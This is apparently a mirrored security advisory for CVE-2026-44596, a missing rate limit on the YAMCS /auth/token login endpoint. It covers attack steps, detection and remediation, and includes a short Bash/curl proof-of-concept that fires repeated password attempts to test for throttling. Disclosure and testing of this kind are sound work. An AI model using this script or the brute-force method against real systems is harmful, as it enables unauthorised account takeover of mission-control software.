YAMCS Missing Rate Limiting on Authentication Endpoint (CVE-2026-44596)

by Daniel Miranda Barcelona (ex-cal1bur) · 2026-07-05

CVSS 5.3/10

Severity: Medium
CVE: CVE-2026-44596 / GHSA-w5r6-mcgq-7pq4
Category: web
Affected product: yamcs-core (YAMCS mission control software)
Affected versions: yamcs-core < 5.12.7
Disclosed: 2026-07-05
Patch status: patched

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-05
Author / Researcher	Daniel Miranda Barcelona (ex-cal1bur)
CVE / Advisory	CVE-2026-44596 / GHSA-w5r6-mcgq-7pq4
Category	web
Severity	Medium
CVSS Score	5.3
Status	PoC
Tags	yamcs, brute-force, rate-limiting, cwe-307, authentication, oauth-token
Related	CVE-2026-44595

Affected Target

Field	Value
Software / System	yamcs-core (YAMCS mission control software)
Versions Affected	yamcs-core < 5.12.7
Language / Platform	Java (target), Bash (PoC)
Authentication Required	No (unauthenticated attacker targets the login endpoint)
Network Access Required	Yes

Summary

The POST /auth/token authentication endpoint in yamcs-core accepts unlimited grant_type=password login attempts with no rate limiting, account lockout, or failed-attempt throttling. An unauthenticated remote attacker with network access can brute-force credentials for any known username at full network speed, since the endpoint always responds with HTTP 401 for invalid credentials and never throttles or blocks with HTTP 429.

Vulnerability Details

Root Cause

CWE-307 (Improper Restriction of Excessive Authentication Attempts): the /auth/token handler performs no per-account or per-source tracking of failed login attempts, and applies no delay, lockout, or CAPTCHA/backoff mechanism.

Attack Vector

Attacker identifies a valid username (optionally obtained via the companion IAM enumeration bug, CVE-2026-44595).
Attacker scripts repeated POST /auth/token requests with grant_type=password and varying password guesses against that username.
The server returns HTTP 401 indefinitely with no throttling, allowing the attacker to iterate through a password list (or full brute force) at network speed.
A successful guess returns a valid access token, granting the attacker the compromised account’s privileges.

Impact

Unauthenticated attackers with network access to a YAMCS instance can brute-force any known account’s password without restriction. Combined with the IAM enumeration vulnerability, an attacker can first identify superuser accounts and then brute-force them directly. YAMCS is deployed as mission control software for space missions (e.g. ESA’s OPS-SAT) and ground stations, making credential compromise operationally significant.

Environment / Lab Setup

Target: yamcs-core < 5.12.7 instance exposing the REST API on e.g. http://localhost:8090
Attacker tooling: Bash + curl (poc.sh)

Proof of Concept

PoC Script

See poc.sh in this folder.

1
2
chmod +x poc.sh
./poc.sh http://localhost:8090 operator 20

Running this fires 20 sequential authentication attempts against the operator account with invalid passwords; on a vulnerable instance every attempt returns HTTP 401 with no throttling or lockout, confirming the absence of rate limiting.

Detection & Indicators of Compromise

- Auth logs showing many consecutive HTTP 401 responses from `/auth/token`
  for the same username or source IP in a short window.
- Absence of HTTP 429 responses despite high request volume against the
  authentication endpoint.

Signs of compromise:

Bursts of failed login attempts against /auth/token from a single IP or against a single username.
A successful login immediately following a long run of failed attempts against the same account.

Remediation

Action	Detail
Primary fix	Upgrade to `yamcs-core >= 5.12.7`, which adds rate limiting / throttling to the authentication endpoint.
Interim mitigation	Place the YAMCS API behind a reverse proxy or WAF enforcing rate limiting and account lockout on `/auth/token`, and monitor for high-volume failed login attempts.

References

Source repository

Notes

Mirrored from https://github.com/ex-cal1bur/CVE-2026-44596 on 2026-07-05.

poc.sh

bash raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Exploit Title: YAMCS yamcs-core < 5.12.7 - No Rate Limiting on Authentication Endpoint
# Date: 2026-05-27
# Exploit Author: Daniel Miranda Barcelona (Excal1bur)
# Vendor Homepage: https://yamcs.org
# Software Link: https://github.com/yamcs/yamcs
# Version: < 5.12.7
# Tested on: Linux
# CVE: CVE-2026-44596
# Category: Remote / Brute Force
# Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-w5r6-mcgq-7pq4

#!/bin/bash
# ============================================================
# CVE-2026-44596 — YAMCS No Rate Limiting on /auth/token
# ============================================================
# Vulnerability: POST /auth/token accepts unlimited login
#                attempts with no rate limiting or lockout.
# Impact:        Unauthenticated brute-force of any account.
# Affected:      yamcs-core < 5.12.7
# Fixed in:      yamcs-core 5.12.7
# CWE:           CWE-307
# CVSS:          5.3 MEDIUM
# ============================================================
# Usage: ./poc.sh [target] [username] [attempts]
# Example: ./poc.sh http://localhost:8090 operator 20
# ============================================================

TARGET="${1:-http://localhost:8090}"
USERNAME="${2:-operator}"
ATTEMPTS="${3:-20}"
LAST_STATUS=""

echo "============================================================"
echo " CVE-2026-44596 — YAMCS No Rate Limiting PoC"
echo " Target:   $TARGET"
echo " Username: $USERNAME"
echo " Attempts: $ATTEMPTS"
echo "============================================================"
echo ""
echo "[*] Sending $ATTEMPTS unauthenticated login attempts..."
echo "[*] Vulnerable: HTTP 401 every time, never HTTP 429"
echo ""

for i in $(seq 1 $ATTEMPTS); do
    RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" \
        -X POST "$TARGET/auth/token" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -d "grant_type=password&username=$USERNAME&password=wrongpass$i")

    echo "  Attempt $i/$ATTEMPTS: HTTP $RESPONSE"
    LAST_STATUS=$RESPONSE

    if [ "$RESPONSE" = "429" ]; then
        echo ""
        echo "[+] HTTP 429 received — rate limiting active (PATCHED)"
        exit 0
    fi

    if [ "$RESPONSE" = "200" ]; then
        echo ""
        echo "[!!!] HTTP 200 — credentials found at attempt $i"
        exit 0
    fi
done

echo ""
if [ "$LAST_STATUS" = "401" ]; then
    echo "[!!!] VULNERABLE: $ATTEMPTS attempts, no rate limiting detected"
    echo "[!!!] Brute-force possible without restriction"
fi